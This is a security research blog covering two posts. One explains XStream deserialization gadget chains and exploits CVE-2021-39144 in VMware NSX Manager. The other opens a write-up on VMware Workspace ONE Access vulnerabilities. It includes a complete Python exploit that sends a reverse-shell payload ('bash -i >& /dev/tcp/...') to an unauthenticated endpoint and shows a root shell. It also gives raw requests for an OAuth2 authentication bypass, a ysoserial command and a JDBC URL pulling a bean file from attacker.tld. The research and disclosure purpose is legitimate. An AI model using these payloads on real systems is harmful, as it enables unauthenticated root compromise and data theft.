invoke(Object proxy, Method method, Object[] args)

The three important parameters are:

proxy: the object being proxied
method: the method to call
args: parameters in the method

Looking at our proxy you’ll soon realize we are doing the pre-processing but not the post-processing which in this case does not matter that much. We are only interested in getting our custom code to be executed but if you are interested to learn more about dynamic proxies I’ll highly recommend checking out Baeldung post about dynamic proxies.

Java Event Handlers

The JDK provides a commonly-used InvocationHandler called java.beans.EventHandler. This class can be instantiated to invoke a defined method on another object when a particular method (or even ANY method) is invoked.

    public static <T> T create(Class<T> listenerInterface,
                               Object target, String action)					

We know that arbitrary code can be executed by invoking the start method on a ProcessBuilder instance. Now that we can use EventHandler to redirect any receiving method invocation request to arbitrary method (in this case the start method of a ProcessBuilder instance). First though, we need to find a data type that will do a method invocation on our EventHandler.

Luckily Java has a interface named Comparable. Alvaro discovered nearly 10 years ago that whenever a TreeSet is created and it’s generic has been set to Comparable , the TreeSet constructor will invoke the compareTo method of all the members which get added to the TreeSet. The reason for this is because a TreeSet instance is supposed to be an ordered data structure and to keep the order, a comparison must be done.

Now that you know about TreeSet and Comparable, it’s possible to achieve automatic code execution by marshalling a TreeSet that contains objects that implement the Comparable interface such as a String or Integer. When the TreeSet is unmarshalled and instantiated, the Comparable interface methods are automatically called in order to sort the elements of the TreeSet.

public final class String
    implements java.io.Serializable, Comparable<String>, CharSequence {
	
public final class Integer extends Number implements Comparable<Integer> {

The following code throws an exception before we reach the toXML method:

Set<Comparable> set = new TreeSet<Comparable>();
set.add("foo");
set.add(EventHandler.create(Comparable.class, new ProcessBuilder("gnome-calculator"), "start"));
String payload = xstream.toXML(set);
System.out.println(payload);

Exception in thread "main" java.lang.ClassCastException: java.lang.UNIXProcess cannot be cast to java.lang.Integer
    at com.sun.proxy.$Proxy0.compareTo(Unknown Source)
    at java.util.TreeMap.put(TreeMap.java:568)
    at java.util.TreeSet.add(TreeSet.java:255)
    at src.incite.Test.main(Test.java:45)

However, it essentially it boils down to the following payload:

<sorted-set>
    <string>foo</string>
    <dynamic-proxy>
        <interface>java.lang.Comparable</interface>
        <handler class="java.beans.EventHandler">
            <target class="java.lang.ProcessBuilder">
                <command>
                    <string>gnome-calculator</string>
                </command>
            </target>
            <action>start</action>
        </handler>
    </dynamic-proxy>
</sorted-set>

A TreeSet gets instantiated
Its members get populated
The TreeSet will invoke compareTo method on every member
The second member is a dynamic proxy which is delegating all method invocation to an EventTarget
The EventTarget of type ProcessBuilder gets instantiated with its command field set to gnome-calculator
EventHandler will call the start method of EventTarget
ProcessBuilder runs the arbitrary command

Anything other than Dynamic Proxy?

I have decided to also share another instance of XStream arbitrary code execution so you can better understand other possibilities. When it comes to creating gadgets for XStream, it’s worth mentioning that looking at the current classes in the class path can help you find new gadgets, an example of this is the exploitation of CVE-2015-3253 using XStream.

In 2016 Jenkins was exploited using the Groovy Expando gadget that incorporates the CVE-2015-3253 vector of Groovys MethodClosure. Let’s study this payload carefully and begin there.

/**
 * Represents a method on an object using a closure which can be invoked
 * at any time
 * 
 */
public class MethodClosure extends Closure {

    private String method;

    public MethodClosure(Object owner , String method ) { // 1
        super(owner); 
        this.method = method ;

        final Class clazz = owner.getClass()==Class.class?(Class) owner:owner.getClass();

        maximumNumberOfParameters = 0;
        parameterTypes = new Class [0];

        List<MetaMethod> methods = InvokerHelper.getMetaClass(clazz).respondsTo(owner, method);

        for(MetaMethod m : methods) {
            if (m.getParameterTypes().length > maximumNumberOfParameters) {
                Class[] pt = m.getNativeParameterTypes();
                maximumNumberOfParameters = pt.length;
                parameterTypes = pt;
            }
        }
    }

    public String getMethod() {
        return method;
    }

    protected Object doCall(Object arguments ) { 
        return InvokerHelper.invokeMethod(getOwner(), method, arguments); // 2
    }

    public Object getProperty(String property) {
        if ("method".equals(property)) {
            return getMethod();
        } else  return super.getProperty(property);
    }
}

Looking at the class description, you can see that you can use it to call the method of the object, and it inherits the Closure class. The doCallmethod, will call our arbitrary object method directly using reflection. An object instance and method name are all we need to pass in through the constructor. Let’s take a look at the parent class (which is Closure):

    public V call() { // 3
        final Object[] NOARGS = EMPTY_OBJECT_ARRAY;
        return call(NOARGS);
    }

    @SuppressWarnings("unchecked")
    public V call(Object... args) {
        try {
            return (V) getMetaClass().invokeMethod(this,"doCall",args); // 4
        } catch (InvokerInvocationException e) {
            ExceptionUtils.sneakyThrow(e.getCause());
            return null; // unreachable statement
        }  catch (Exception e) {
            return (V) throwRuntimeException(e);
        }
    }

The doCall method of MethodClosure class can be called by using the call method of the parent class, why this much pain? well if you remember the doCall in MethodClosure has the protected access modifier which means the method can be accessed within the class and by classes derived from that class. As you can see at [3] the call function is invoking the doCall method at [4] from the getMetaClass() which is the MethodClosure instance.

The following code can execute the pop-up calculator:

MethodClosure methodClosure = new MethodClosure(new java.lang.ProcessBuilder("gnsome-calculator"), "start");
methodClosure.call(); // Clojure.call() --> getMetaClass().invokeMethod(this, "doCall",args);

Now that we have all this explained, we have another question to answer and that is, how can we invoke the call method with XStream? since direct method invocation is not possible on the unmarshalled data we need a gadget chain!

Groovy Expando

Groovy provides a class named Expando which inherits from the GroovyObject parent class:

public interface GroovyObject {

    /**
     * Invokes the given method.
     *
     * @param name the name of the method to call
     * @param args the arguments to use for the method call
     * @return the result of invoking the method
     */
    Object invokeMethod(String name, Object args);

    /**
     * Retrieves a property value.
     *
     * @param propertyName the name of the property of interest
     * @return the given property
     */
    Object getProperty(String propertyName);

    /**
     * Sets the given property to the new value.
     *
     * @param propertyName the name of the property of interest
     * @param newValue     the new value for the property
     */
    void setProperty(String propertyName, Object newValue);

    /**
     * Returns the metaclass for a given class.
     *
     * @return the metaClass of this instance
     */
    MetaClass getMetaClass();

    /**
     * Allows the MetaClass to be replaced with a derived implementation.
     *
     * @param metaClass the new metaclass
     */
    void setMetaClass(MetaClass metaClass);
}

Every Groovy object (In this case Expando) must implement their own getProperty, setProperty, invokeMethod, getMetaClass and setMetaClass methods.

Why do we care about Expando?

In the Expando class, the method call is invoked. Here is the hashCode method:

    public int hashCode() {
        Object method = getProperties().get("hashCode"); // 1
        if (method != null && method instanceof Closure) {
            // invoke overridden hashCode closure method
            Closure closure = (Closure) method; // 2
            closure.setDelegate(this);
            Integer ret = (Integer) closure.call(); // 3
            return ret.intValue();
        } else {
            return super.hashCode();
        }

The code at [1] will get the property called hashCode and cast it to a Closure type at [2] and finally call call on it at [3]. The question now remains, how are we going to automatically call the hashCode on our Expando object? hashCode is called when objects keys are compared and we can create a HashMap to put the Expando object in as one of its members so that when the hashMap is getting instantiated during the unmarshalling, the hashCode method will be called.

The characteristics of the Map data structure are used here:

Map is a key-value type of data structure, so Map sets are not allowed to have duplicate keys. So, every time you add a key-value pair to the collection, it will judge whether the keys are equal, then the hashCode method of the key will be called when judging whether they are equal.

When a HashMap is instantiated, the put method is called to fill the Map. Below is the implementation of put:

public V put(K key, V value) {
    if (key == null)
        return putForNullKey(value);
    int hash = hash(key.hashCode());  // 4
    int i = indexFor(hash, table.length);
    for (Entry<K,V> e = table[i]; e != null; e = e.next) {
        Object k;
        if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
            V oldValue = e.value;
            e.value = value;
            e.recordAccess(this);
            return oldValue;
        }
    }

    modCount++;
    addEntry(hash, key, value, i);
    return null;
}

At [4] hashCode is called, which means we can finally get code injection upon object reconstruction:

MethodClosure methodClosure = new MethodClosure(new ProcessBuilder("gnome-calculator"), "start");
Expando maliciousPanda = new Expando();
maliciousPanda.setProperty("hashCode", methodClosure);
HashMap<Expando, Integer> mymap = new HashMap();
mymap.put(maliciousPanda, 123); // triggers gnome-calculator

It’s also worth mentioning, in order to produce the gadget for Groovy MethodClosure in XStream, you need to do one slight trick:

public class Main {
    public static void main(String[] args) throws Exception {
        Map map = new HashMap<Expando, Integer>();
        Expando expando = new Expando();
        MethodClosure methodClosure = new MethodClosure(new java.lang.ProcessBuilder(cmd), "start");
        //To avoid throwing an exception, change the hashCode to another name for the time being. 
        expando.setProperty( "InciteTeam_hashCode" , methodClosure);
				map.put(expando, 1337 );
        //Serialize the object
        XStream xs = new XStream();
        String payload =  xs.toXML(map).replace("InciteTeam_hashCode", "hashCode");
        return payload;  
    }
}

The reason we set the property to InciteTeam_hashCode is because the hashCode method of the Expando instance will look for the hashCode property and will execute our gadget if its available. We can’t marshal the payload to XML correctly without executing the gadget on our own system! By doing a small trick and setting the property name to InciteTeam_hashCode and modifying the name after marshalling, it’s possible to prevent the exception and have our payload displayed.

Here is the produced payload:

<map>
  <entry>
    <groovy.util.Expando>
      <expandoProperties>
        <entry>
          <string>hashCode</string>
          <org.codehaus.groovy.runtime.MethodClosure>
            <delegate class="java.lang.ProcessBuilder">
              <command>
                <string>calc</string>
              </command>
              <redirectErrorStream>false</redirectErrorStream>
            </delegate>
            <owner class="java.lang.ProcessBuilder" reference="../delegate"/>
            <resolveStrategy>0</resolveStrategy>
            <directive>0</directive>
            <parameterTypes/>
            <maximumNumberOfParameters>0</maximumNumberOfParameters>
            <method>start</method>
          </org.codehaus.groovy.runtime.MethodClosure>
        </entry>
      </expandoProperties>
    </groovy.util.Expando>
    <int>1337</int>
  </entry>
</map>

Now that you have a pretty good understanding of XStream and its exploitation, let’s move on to the exploitation of VMWare NSX Manager.

Vulnerability Analysis

In XStream <= 1.4.18 there is a deserialization of untrusted data and is tracked as CVE-2021-39144. VMWare NSX Manager uses the package xstream-1.4.18.jar so it is vulnerable to this deserialization vulnerability. All we need to do is find an endpoint that is reachable from an unauthenticated context to trigger the vulnerability.

I found an authenticated case but upon showing Steven, he found another location in the /home/secureall/secureall/sem/WEB-INF/spring/security-config.xml configuration. This particular endpoint is pre-authenticated due to the use of isAnonymous.

    <http auto-config="false" use-expressions="true" entry-point-ref="authenticationEntryPoint" create-session="stateless">
        <csrf disabled="true" />
        <!-- ... -->
        <intercept-url pattern="/api/2.0/services/usermgmt/password/**" access="isAnonymous()" />
        <intercept-url pattern="/api/2.0/services/usermgmt/passwordhint/**" access="isAnonymous()" />
        <!-- ... -->
        <custom-filter position="BASIC_AUTH_FILTER" ref="basicSSOAuthNFilter"/>
        <custom-filter position="PRE_AUTH_FILTER" ref="preAuthFilter"/>
        <custom-filter after="SECURITY_CONTEXT_FILTER" ref="jwtAuthFilter"/>
        <custom-filter before="BASIC_AUTH_FILTER" ref="unamePasswordAuthFilter"/>
    </http>

We can see the an API function call in the com.vmware.vshield.vsm.usermgmt.restcontroller.UserMgmtController class:

    @RequestMapping(value = { "/password/{userId}" }, method = { RequestMethod.PUT })
    @ResponseStatus(HttpStatus.NO_CONTENT)
    @CheckBlacklist(userId = "#userId", remoteAddress = "#request.getRemoteAddr")
    public void resetPassword(@PathVariable("userId") String userId, @RequestBody final SecurityProfileDto securityProfileDto, final HttpServletRequest request) {
        final JoinPoint jp = Factory.makeJP(UserMgmtController.ajc$tjp_13, this, this, new Object[] { userId, securityProfileDto, request });
        resetPassword_aroundBody29$advice(this, userId, securityProfileDto, request, jp, RequestBodyValidatorAspect.aspectOf(), (ProceedingJoinPoint)jp);
    }

The resetPassword method uses the @RequestBody with a SecurityProfileDto type which sets the serializer to XStream making it the perfect candidate for exploitation:

/*    */ @XStreamAlias("securityProfile")
/*    */ public class SecurityProfileDto

An attacker can send a specially crafted XStream marshalled payload with a dynamic proxy and trigger remote code execution in the context of root!

Proof of Concept

Image Courtesy of @lystena

#!/usr/bin/env python3
"""
VMWare NSX Manager XStream Deserialization of Untrusted Data Remote Code Execution Vulnerability
Version: 6.4.13-19307994
File: VMware-NSX-Manager-6.4.13-19307994-disk1.vmdk
SHA1: f828eccd50d5f32500fb1f7a989d02bddf705c45
Found by: Sina Kheirkhah of MDSec and Steven Seeley of Source Incite
"""

import socket
import sys
import requests
from telnetlib import Telnet
from threading import Thread
from urllib3 import disable_warnings, exceptions
disable_warnings(exceptions.InsecureRequestWarning)

xstream = """
<sorted-set>
    <string>foo</string>
    <dynamic-proxy>
        <interface>java.lang.Comparable</interface>
        <handler class="java.beans.EventHandler">
            <target class="java.lang.ProcessBuilder">
                <command>
                    <string>bash</string>
                    <string>-c</string>
                    <string>bash -i &#x3e;&#x26; /dev/tcp/{rhost}/{rport} 0&#x3e;&#x26;1</string>
                </command>
            </target>
            <action>start</action>
        </handler>
    </dynamic-proxy>
</sorted-set>"""

def handler(lp):
    print(f"(+) starting handler on port {lp}")
    t = Telnet()
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind(("0.0.0.0", lp))
    s.listen(1)
    conn, addr = s.accept()
    print(f"(+) connection from {addr[0]}")
    t.sock = conn
    print("(+) pop thy shell!")
    t.interact()

if __name__ == "__main__":
    if len(sys.argv) != 3:
        print(f"(+) usage: {sys.argv[0]} <target> <connectback:port>")
        print(f"(+) eg: {sys.argv[0]} 192.168.18.135 172.18.182.204:1234")
        sys.exit(1)
    target = sys.argv[1]
    rhost  = sys.argv[2]
    rport  = 1234
    if ":" in sys.argv[2]:
        assert sys.argv[2].split(":")[1].isdigit(), "(-) didnt supply a valid port"
        rport = int(sys.argv[2].split(":")[1])
        rhost = sys.argv[2].split(":")[0]
    handlerthr = Thread(target=handler, args=[rport])
    handlerthr.start()
    # trigger rce
    requests.put(
        f"https://{target}/api/2.0/services/usermgmt/password/1337", 
        data=xstream.format(rhost=rhost, rport=rport), 
        headers={
            'Content-Type': 'application/xml'
        }, 
        verify=False
    )

Example:

researcher@neophyte:~$ ./poc.py
(+) usage: ./poc.py <target> <connectback:port>
(+) eg: ./poc.py 192.168.18.135 172.18.182.204:1234

researcher@neophyte:~$ ./poc.py 192.168.18.135 172.18.182.204:1337
(+) starting handler on port 1337
(+) connection from 172.18.176.1
(+) pop thy shell!
bash: cannot set terminal process group (5847): Inappropriate ioctl for device
bash: no job control in this shell
bash-5.0# id
id
uid=0(root) gid=101(secureall) groups=101(secureall)

A big thank you to Steven Seeley for helping me analyse, exploit and triage this vulnerability, I always say this: “that the man is a Wizard!”.

Conclusion

Don’t use outdated XStream!

References

IAM Whoever I Say IAM :: Infiltrating VMWare Workspace ONE Access Using a 0-Click Exploit

Thu, 11 Aug 2022 14:00:00 +0000

On March 2nd, I reported several security vulnerabilities to VMWare impacting their Identity Access Management (IAM) solution. In this blog post I will discuss some of the vulnerabilities I found, the motivation behind finding such vulnerabilities and how companies can protect themselves. The result of the research project concludes with a pre-authenticated remote root exploit chain nicknamed Hekate. The advisories and patches for these vulnerabilities can be found in the references section.

Introduction

Single Sign On (SSO) has become the dominant authentication scheme to login to several related, yet independent, software systems. At the core of this are the identity providers (IdP). Their role is to perform credential verification and to supply a signed token containing assertions that a service providers (SP) can consume for access control. This is implemented using a protocol called Security Assertion Markup Language (SAML).

On the other hand, when an application requests resources on behalf of a user and they’re granted, then an authorization request is made to an authorization server (AS). The AS exchanges a code for a token which is presented to a resource server (RS) and the requested resources are consumed by the requesting application. This is known as Open Authorization (OAuth), the auth here is standing for authorization and not authentication.

Whilst OAuth2 handles authorization (identity), and SAML handles authentication (access) a solution is needed to manage both since an organizations network perimeter can get very wide and complex. Therefore, a market for Identity and Access Management (IAM) solutions have become very popular in the enterprise environment to handle both use cases at scale.

Motivation

This project was motivated by a high impact vulnerabilities affecting similar software products, let’s take a look in no particular order:

Cisco Identity Services Engine

This product was pwned by Pedro Ribeiro and Dominik Czarnota using a pre-authenticated stored XSS vulnerability leading to full remote root access chaining an additional two vulnerabilities.
ForgeRock OpenAM

This product was pwned by Michael Stepankin using a pre-authenticated deserialization of untrusted data vulnerability in a 3rd party library called jato. Michael had to get creative here by using a custom Java gadget chain to exploit the vulnerability.
Oracle Access Manager (OAM)

Peter Json and Jang blogged about a pre-authenticated deserialization of untrusted data vulnerability impacting older versions of OAM.
VMWare Workspace ONE Access

Two high impact vulnerabilities were discovered here. The first being CVE-2020-4006 which was exploited in the wild (ITW) by state sponsored attackers which excited my interest initially. The details of this bug was first revealed by William Vu and essentially boiled down to a post-authenticated command injection vulnerability. The fact that this bug was post-authenticated and yet was still exploited in the wild (ITW) likely means that this software product is of high interest to attackers.

The second vulnerability was discovered by Shubham Shah of Assetnote which was a SSRF that could have been used by malicious attackers to leak the users JSON Web Token (JWT) via the Authorization header.

With most of this knowledge before I even started, I knew that vulnerabilities discovered in a system like this would have a high impact. So, at the time I asked myself: does a pre-authenticated remote code execution vulnerability/chain exist in this code base?

Version

The vulnerable version at the time of testing was 21.08.0.1 which was the latest and deployed using the identity-manager-21.08.0.1-19010796_OVF10.ova (SHA1: 69e9fb988522c92e98d2910cc106ba4348d61851) file. It was released on the 9th of December 2021 according to the release notes. This was a Photon OS Linux deployment designed for the cloud.

Challenges

I had several challenges and I think it’s important to document them so that others are not discouraged when performing similar audits.

Heavy use of Spring libraries

This software product heavily relied on several spring components and as such didn’t leave room for many errors in relation to authentication. Interceptors played a huge role in the authentication process and were found to not contain any logic vulnerabilities in this case.

Additionally, With Spring’s StrictHttpFirewall enabled, several attacks to bypass the authentication using well known filter bypass attacks failed.
Minimal attack surface

There was very little pre-authenticated attack surface that exposed functionality of the application outside of authentication protocols like SAML and OAuth 2.0 (including OpenID Connect) which minimizes the chance of discovering a pre-authenticated remote code execution vulnerability.
Code quality

The code quality of this product was very good. Having audited many Java applications in the past, I took notice that this product was written with security in mind and the overall layout of libraries, syntax used, spelling of code was a good reflection of that. In the end, I only found two remote code execution vulnerabilities and they were in a very similar component.

Let’s move on to discussing the vulnerabilities in depth.

OAuth2TokenResourceController Access Control Service (ACS) Authentication Bypass Vulnerability

The com.vmware.horizon.rest.controller.oauth2.OAuth2TokenResourceController class has two exposed endpoints. The first will generate an activation code for an existing oauth2 client:

/*     */   @RequestMapping(value = {"/generateActivationToken/{id}"}, method = {RequestMethod.POST})
/*     */   @ResponseBody
/*     */   @ApiOperation(value = "Generate and update activation token for an existing oauth2 client", response = OAuth2ActivationTokenMedia.class)
/*     */   @ApiResponses({@ApiResponse(code = 500, message = "Generation failed, unknown error."), @ApiResponse(code = 400, message = "Generation failed, client is invalid or not specified.")})
/*     */   public OAuth2ActivationTokenMedia generateActivationToken(@ApiParam(value = "OAuth 2.0 Client identifier", example = "\"my-auth-grant-client1\"", required = true) @PathVariable("id") String clientId, HttpServletRequest request) throws MyOneLoginException {
/* 128 */     OrganizationRuntime orgRuntime = getOrgRuntime(request);
/* 129 */     OAuth2Client client = this.oAuth2ClientService.getOAuth2Client(orgRuntime.getOrganizationId().intValue(), clientId);
/* 130 */     if (client == null || client.getIdUser() == null) {
/* 131 */       throw new BadRequestException("invalid.client", new Object[0]);
/*     */     }

The second will activate the device OAuth2 client by exchanging the activation code for a client ID and client secret:

/*     */   @RequestMapping(value = {"/activate"}, method = {RequestMethod.POST})
/*     */   @ResponseBody
/*     */   @AllowExecutionWhenReadOnly
/*     */   @ApiOperation(value = "Activate the device client by exchanging an activation code for a client ID and client secret.", notes = "This endpoint is used in the dynamic mobile registration flow. The activation code is obtained by calling the /SAAS/auth/device/register endpoint. The client_secret and client_id returned in this call will be used in the call to the /SAAS/auth/oauthtoken endpoint.", response = OAuth2ClientActivationDetails.class)
/*     */   @ApiResponses({@ApiResponse(code = 500, message = "Activation failed, unknown error."), @ApiResponse(code = 404, message = "Activation failed, organization not found."), @ApiResponse(code = 400, message = "Activation failed, activation code is invalid or not specified.")})
/*     */   public OAuth2ClientActivationDetails activateOauth2Client(@ApiParam(value = "the activation code", required = true) @RequestBody String activationCode, HttpServletRequest request) throws MyOneLoginException {
/* 102 */     OrganizationRuntime organizationRuntime = getOrgRuntime(request);
/*     */     try {
/* 104 */       return this.activationTokenService.activateAndGetOAuth2Client(organizationRuntime.getOrganization(), activationCode);
/* 105 */     } catch (EncryptionException e) {
/* 106 */       throw new BadRequestException("invalid.activation.code", e, new Object[0]);
/* 107 */     } catch (MyOneLoginException e) {
/*     */
/* 109 */       if (e.getCode() == 80480 || e.getCode() == 80476 || e.getCode() == 80440 || e.getCode() == 80558) {
/* 110 */         throw new BadRequestException("invalid.activation.code", e, new Object[0]);
/*     */       }
/* 112 */       throw e;
/*     */     } 
/*     */   }

This is enough for an attacker to then exchange the client_id and client_secret for an OAuth2 token to achieve a complete authentication bypass. Now, this wouldn’t have been so easily exploitable if no default OAuth2 clients were present, but as it turns out. There are two internal clients installed by default:

We can verify this when we check the database on the system:

These clients are created in several locations, one of them is in the com.vmware.horizon.rest.controller.system.BootstrapController class. I won’t bore you will the full stack trace, but it essentially leads to a call to createTenant in the com.vmware.horizon.components.authentication.OAuth2RemoteAccessServiceImpl class:

/*     */   public boolean createTenant(int orgId, String tenantId) {
/*     */     try {
/* 335 */       createDefaultServiceOAuth2Client(orgId); // 1
/* 336 */     } catch (Exception e) {
/* 337 */       log.warn("Failed to create the default service oauth2 client for org " + tenantId, e);
/* 338 */       return false;
/*     */     }
/* 340 */     return true;
/*     */   }

At [1] the code calls createDefaultServiceOAuth2Client:

/*     */   @Nonnull
/*     */   @Transactional(rollbackFor = {MyOneLoginException.class})
/*     */   @ReadWriteConnection
/*     */   public OAuth2Client createDefaultServiceOAuth2Client(int orgId) throws MyOneLoginException {
/* 116 */     OAuth2Client oAuth2Client = this.oauth2ClientService.getOAuth2Client(orgId, "Service__OAuth2Client");
/* 117 */     if (oAuth2Client == null) {
/* 118 */       Organizations firstOrg = this.organizationService.getFirstOrganization();
/* 119 */       if (firstOrg.getId().intValue() == orgId) {
/* 120 */         log.info("Creating service_oauth2 client for root tenant.");
/* 121 */         return createSystemScopedServiceOAuth2Client(firstOrg, "Service__OAuth2Client", null, "admin system"); // 2
/*     */       }
/*     */     //...
/* 131 */     return oAuth2Client;
/*     */   }

The code at [2] calls createSystemScopedServiceOAuth2Client which, as the name suggests creates a system scoped oauth2 client using the clientId “Service__OAuth2Client”. I actually found another authentication bypass documented as SRC-2022-0007 using variant analysis, however it impacts only the cloud environment due to the on-premise version not loading the authz Spring profile by default.

DBConnectionCheckController dbCheck JDBC Injection Remote Code Execution Vulnerability

The com.vmware.horizon.rest.controller.system.DBConnectionCheckController class exposes a method called dbCheck

/*     */   @RequestMapping(method = {RequestMethod.POST}, produces = {"application/json"})
/*     */   @ProtectedApi(resource = "vrn:tnts:*", actions = {"tnts:read"})
/*     */   @ResponseBody
/*     */   public RESTResponse dbCheck(@RequestParam(value = "jdbcUrl", required = true) String jdbcUrl, @RequestParam(value = "dbUsername", required = true) String dbUsername, @RequestParam(value = "dbPassword", required = true) String dbPassword) throws MyOneLoginException {
/*     */     String driverVersion;
/*     */     try {
/*  76 */       if (this.organizationService.countOrganizations() > 0L) { // 1
/*  77 */         assureAuthenticatedApiAdmin(); // 2
/*     */       }
/*  79 */     } catch (Exception e) {
/*  80 */       log.info("Check for existing organization threw an exception.", driverVersion);
/*     */     }
/*     */
/*     */     try {
/*  84 */       String encryptedPwd = configEncrypter.encrypt(dbPassword);
/*  85 */       driverVersion = this.dbConnectionCheckService.checkConnection(jdbcUrl, dbUsername, encryptedPwd); // 3
/*  86 */     } catch (PersistenceRuntimeException e) {
/*  87 */       throw new MyOneLoginException(HttpStatus.NOT_ACCEPTABLE.value(), e.getMessage(), e);
/*     */     }
/*  89 */     return new RESTResponse(Boolean.valueOf(true), Integer.valueOf(HttpStatus.OK.value()), driverVersion, null);
/*     */   }

At [1] the code checks to see if there are any existing organizations (there will be if it’s set-up correctly) and at [2] the code validates that an admin is requesting the endpoint. At [3] the code calls DbConnectionCheckServiceImpl.checkConnection using the attacker controlled jdbcUrl.

/*  73 */   public String checkConnection(String jdbcUrl, String username, String password) throws PersistenceRuntimeException { return checkConnection(jdbcUrl, username, password, true); }
/*     */   public String checkConnection(@Nonnull String jdbcUrl, @Nonnull String username, @Nonnull String password, boolean checkCreateTableAccess) throws PersistenceRuntimeException {
/*  87 */     connection = null;
/*  88 */     String driverVersion = null;
/*     */     try {
/*  90 */       loadDriver(jdbcUrl);
/*  91 */       connection = testConnection(jdbcUrl, username, password, checkCreateTableAccess); // 4
/*  92 */       meta = connection.getMetaData();
/*  93 */       driverVersion = meta.getDriverVersion();
/*  94 */     } catch (SQLException e) {
/*  95 */       log.error("connectionFailed");
/*  96 */       throw new PersistenceRuntimeException(e.getMessage(), e);
/*     */     } finally {
/*     */       try {
/*  99 */         if (connection != null) {
/* 100 */           connection.close();
/*     */         }
/* 102 */       } catch (Exception e) {
/* 103 */         log.warn("Problem closing connection", e);
/*     */       }
/*     */     }
/* 106 */     return driverVersion;
/*     */   }

The code calls DbConnectionCheckServiceImpl.testConnection at [4] with an attacker controlled jdbcUrl string.

/*     */   private Connection testConnection(String jdbcUrl, String username, String password, boolean checkCreateTableAccess) throws PersistenceRuntimeException {
/*     */     try {
/* 124 */       Connection connection = this.factoryHelper.getConnection(jdbcUrl, username, password); // 5
/*     */
/*     */
/* 127 */       log.info("sql verification triggered");
/* 128 */       this.factoryHelper.sqlVerification(connection, username, Boolean.valueOf(checkCreateTableAccess));
/*     */
/* 130 */       if (checkCreateTableAccess) {
/* 131 */         return testCreateTableAccess(jdbcUrl, connection);
/*     */       }
/*     */
/* 134 */       return testUpdateTableAccess(connection);
/*     */     }

The code calls FactoryHelper.getConnection at [5].

/*     */     public Connection getConnection(String jdbcUrl, String username, String password) throws SQLException {
/*     */       try {
/* 427 */         return DriverManager.getConnection(jdbcUrl, username, password); // 6
/* 428 */       } catch (Exception ex) {
/* 429 */         if (ex.getCause() != null && ex.getCause().toString().contains("javax.net.ssl.SSLHandshakeException")) {
/* 430 */           log.info(String.format("ssl handshake failed for the user:%s ", new Object[] { username }));
/* 431 */           throw new SQLException("database.connection.ssl.notSuccess");
/*     */         }
/* 433 */         log.info(String.format("Connection failed for the user:%s ", new Object[] { username }));
/* 434 */         throw new SQLException("database.connection.notSuccess");
/*     */       }
/*     */     }

Finally, at [6] the attacker can reach a DriverManager.getConnection sink which will lead to an arbitrary JDBC URI connection. Given the flexibility of JDBC, the attacker can use any of the deployed drivers within the application. This vulnerability can lead to remote code execution as the horizon user which will be discussed in the exploitation section.

publishCaCert and gatherConfig Privilege Escalation

After gaining remote code execution as the horizon user, we can exploit the following vulnerability to gain root access. This section contains two bugs, but I decided to report it as a single vulnerability due to the way I (ab)used them in the final exploit chain.

The publishCaCert.hzn script allows attackers to disclose sensitive files.
The gatherConfig.hzn script allows attackers to take ownership of sensitive files

These scripts can be executed by the horizon user with root privileges without a password using sudo. They were not writable by the horizon user so I audited the scripts for logical issues to escalate cleanly.

publishCaCert.hzn:

For this bug we can see that it will take a file on the command line and copy it to /etc/ssl/certs/ at [1] and then make it readable/writable by the owner at [2]!

#!/bin/sh

#Script to isolate sudo access to just publishing a single file to the trusted certs directory

CERTFILE=$1
DESTFILE=$(basename $2)

cp -f $CERTFILE /etc/ssl/certs/$DESTFILE // 1
chmod 644 /etc/ssl/certs/$DESTFILE // 2
c_rehash > /dev/null

gatherConfig.hzn:

For taking ownership, we can use a symlink called debugConfig.txt and point it to a root owned file at [1].

#!/bin/bash
#
# Minor: Copyright 2019 VMware, Inc. All rights reserved.
. /usr/local/horizon/scripts/hzn-bin.inc
. /usr/local/horizon/scripts/manageTcCfg.inc
DEBUG_FILE=$1

#...

function gatherConfig()
{
    printLines
    echo "1) cat /usr/local/horizon/conf/flags/sysconfig.hostname" > ${DEBUG_FILE}
    #...
    chown $TOMCAT_USER:$TOMCAT_GROUP $DEBUG_FILE // 1
}

if [ -z "$DEBUG_FILE" ]
then
    usage
else
    DEBUG_FILE=${DEBUG_FILE}/"debugConfig.txt"
    gatherConfig
fi

Exploitation

OAuth2TokenResourceController ACS Authentication Bypass

First, we can grab the activationToken.

Request:

POST /SAAS/API/1.0/REST/oauth2/generateActivationToken/Service__OAuth2Client HTTP/1.1
Host: photon-machine
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

Response:

{
 "activationToken": "eyJvdGEiOiJiNmRlZmFkOS1iY2M3LTM3ZWUtYTdkZi05YTM2ZDcxZDU4MGE6c0dJcnlObEhxREVnUW...",
 "_links": {}
}

Now, with the activation token let’s get the client_id and client_secret.

Request:

POST /SAAS/API/1.0/REST/oauth2/activate HTTP/1.1
Host: photon-machine
Content-Type: application/x-www-form-urlencoded
Content-Length: 168

eyJvdGEiOiJiNmRlZmFkOS1iY2M3LTM3ZWUtYTdkZi05YTM2ZDcxZDU4MGE6c0dJcnlObEhxREVnUW...

Response:

{
 "client_id": "Service__OAuth2Client",
 "client_secret": "uYkAzg1woC1qbCa3Qqd0i6UXpwa1q00o"
}

From this point, exploitation is just the standard OAuth2 flow to grab a signed JWT.

DBConnectionCheckController dbCheck JDBC Injection Remote Code Execution

Technique 1 - Remote code execution via the MySQL JDBC Driver autoDeserialize

It was also possible to perform remote code execution via the MySQL JDBC driver by using the autoDeserialize property. The server would connect back to the attacker’s malicious MySQL server where it could deliver an arbitrary serialized Java object that could be deserialized on the server. As it turns out, the off the shell ysoserial CommonsBeanutils1 gadget worked a treat: java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 <cmd>.

This technique was first presented by Yang Zhang, Keyi Li, Yongtao Wang and Kunzhe Chai at Blackhat Europe in 2019. This was the technique I used in the exploit I sent to VMWare because I wanted to hint at their usage of unsafe libraries that contain off the shell gadget chains in them!

Technique 2 - Remote code execution via the PostgreSQL JDBC Driver socketFactory

It was possible to perform remote code execution via the socketFactory property of the PostgreSQL JDBC driver. By setting the socketFactory and socketFactoryArg properties, an attacker can trigger the execution of a constructor defined in an arbitrary Java class with a controlled string argument. Since the application was using Spring with a Postgres database, it was the perfect candidate to (ab)use FileSystemXmlApplicationContext!

Proof of Concept: jdbc:postgresql://si/saas?&socketFactory=org.springframework.context.support.FileSystemXmlApplicationContext&socketFactoryArg=http://attacker.tld:9090/bean.xml.

